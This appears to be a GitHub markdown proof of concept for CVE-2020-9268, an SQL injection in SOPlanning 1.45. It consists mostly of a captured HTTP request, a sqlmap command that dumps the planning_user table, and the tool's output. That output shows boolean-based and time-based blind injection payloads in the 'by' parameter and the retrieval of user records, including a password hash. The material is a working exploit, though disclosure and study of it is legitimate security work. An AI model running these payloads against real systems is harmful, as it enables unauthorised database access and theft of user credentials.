J3rryBl4nks Update SQLInjectionProjects.md History

1 contributor

115 lines (94 sloc) | 4.69 KB

CVE-2020-9268

The SOPlanning 1.45 application is vulnerable to SQL Injection which can be leveraged into getting the information for the users table.

Capture the request in Burpsuite:

```
GET /soplanning/www/projets.php?order=nom_createur&by=ASC HTTP/1.1

Host: HOSTNAME

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://10.22.6.208/soplanning/www/projets.php?order=charge&by=ASC

Connection: close

Cookie: xposMois=0; dateDebut=14/02/2020; dateFin=14/04/2020; xposMoisWin=0; xposJoursWin=0; xposJours=0; yposMoisWin=0;
yposMois=0; yposJoursWin=0; yposJours=0; PHPSESSID=0srffkdt9nu2jis443pp9nh3i9; soplanningplanning_=pnljrmetd5cse4d8dm1f09fn0u;
baseLigne=users; baseColonne=jours; statut_projet=%5B%22abandon%22%2C%22archive%22%2C%22a_faire%22%2C%22en_cours%22%2C%22fait%22%5D

Upgrade-Insecure-Requests: 1
```

Feed the request into SQLMap:

```
sqlmap -r projects.req --level=5 --risk=3 -p by --dbms=mysql -D soplanning -T planning_user --dump
```

Then you will be able to see the information for the users in the database:

```
root@kali:~/SOPlanning# sqlmap -r projects.req --level=5 --risk=3 -p by --dbms=mysql -D soplanning -T planning_user --dump
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.4.1.2#dev}
|_ -| . [,]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's
responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any
misuse or damage caused by this program

[*] starting @ 11:13:27 /2020-02-14/

[11:13:27] [INFO] parsing HTTP request from 'projects.req'
[11:13:27] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: by (GET)
    Type: boolean-based blind
    Title: MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY clause
    Payload: order=nom_createur&by=ASC,(SELECT (CASE WHEN (6871=6871) THEN 1 ELSE 6871*(SELECT 6871 FROM
INFORMATION_SCHEMA.PLUGINS) END))

    Type: time-based blind
    Title: MySQL >= 5.1 time-based blind (heavy query) - PROCEDURE ANALYSE (EXTRACTVALUE)
    Payload: order=nom_createur&by=ASC PROCEDURE ANALYSE(EXTRACTVALUE(9535,CONCAT(0x5c,(BENCHMARK(5000000,MD5(0x77464654)))))),1)
---
```

Because it's time based it will take a while to retrieve the user details, but you will retrieve password hashes.

```
[11:13:34] [INFO] retrieved: user_id
[11:13:49] [INFO] retrieved: user_groupe_id
[11:14:30] [INFO] retrieved: nom
```

```
[11:14:37] [INFO] retrieved: login
[11:14:49] [INFO] retrieved: password
[11:15:07] [INFO] retrieved: email
[11:15:19] [INFO] retrieved: visible_planning
[11:15:53] [INFO] retrieved: couleur
[11:16:07] [INFO] retrieved: droits
[11:16:20] [INFO] retrieved: cle
[11:16:27] [INFO] retrieved: notifications
[11:16:54] [INFO] retrieved: adresse
[11:17:09] [INFO] retrieved: telephone
[11:17:27] [INFO] retrieved: mobile
[11:17:41] [INFO] retrieved: metier
[11:17:53] [INFO] retrieved: commentaire
[11:18:15] [INFO] retrieved: date_dernier_login
[11:18:54] [INFO] retrieved: preferences
[11:19:17] [INFO] retrieved: login_actif
[11:19:39] [INFO] fetching entries for table 'planning_user' in database 'soplanning'
[11:19:39] [INFO] fetching number of entries for table 'planning_user' in database 'soplanning'
[11:19:39] [INFO] retrieved: 6
[11:19:41] [INFO] retrieved:
[11:19:45] [INFO] retrieved:
[11:19:45] [WARNING] (case) time-based comparison requires reset of statistical model, please wait.............................
(done)
[11:19:54] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent
potential disruptions

[11:19:55] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[11:19:55] [INFO] retrieved:
[11:19:58] [INFO] retrieved:
[11:20:01] [INFO] retrieved:
[11:20:04] [INFO] retrieved:
[11:20:08] [INFO] retrieved:
[11:20:11] [INFO] retrieved:
[11:20:14] [INFO] retrieved: oui
[11:20:22] [INFO] retrieved:
[11:20:25] [INFO] retrieved:
[11:20:29] [INFO] retrieved: Guest
[11:20:40] [INFO] retrieved: non
[11:20:48] [INFO] retrieved:
[11:20:51] [INFO] retrieved:
[11:20:55] [INFO] retrieved:
[11:20:58] [INFO] retrieved:
[11:21:01] [INFO] retrieved: publicspl
[11:21:18] [INFO] retrieved: non
[11:21:24] [INFO] retrieved:
[11:21:27] [INFO] retrieved: 3b23d5b0759fe017325e0c31eee5beed
[11:22:37] [INFO] retrieved:
[11:22:41] [INFO] retrieved: 000000
```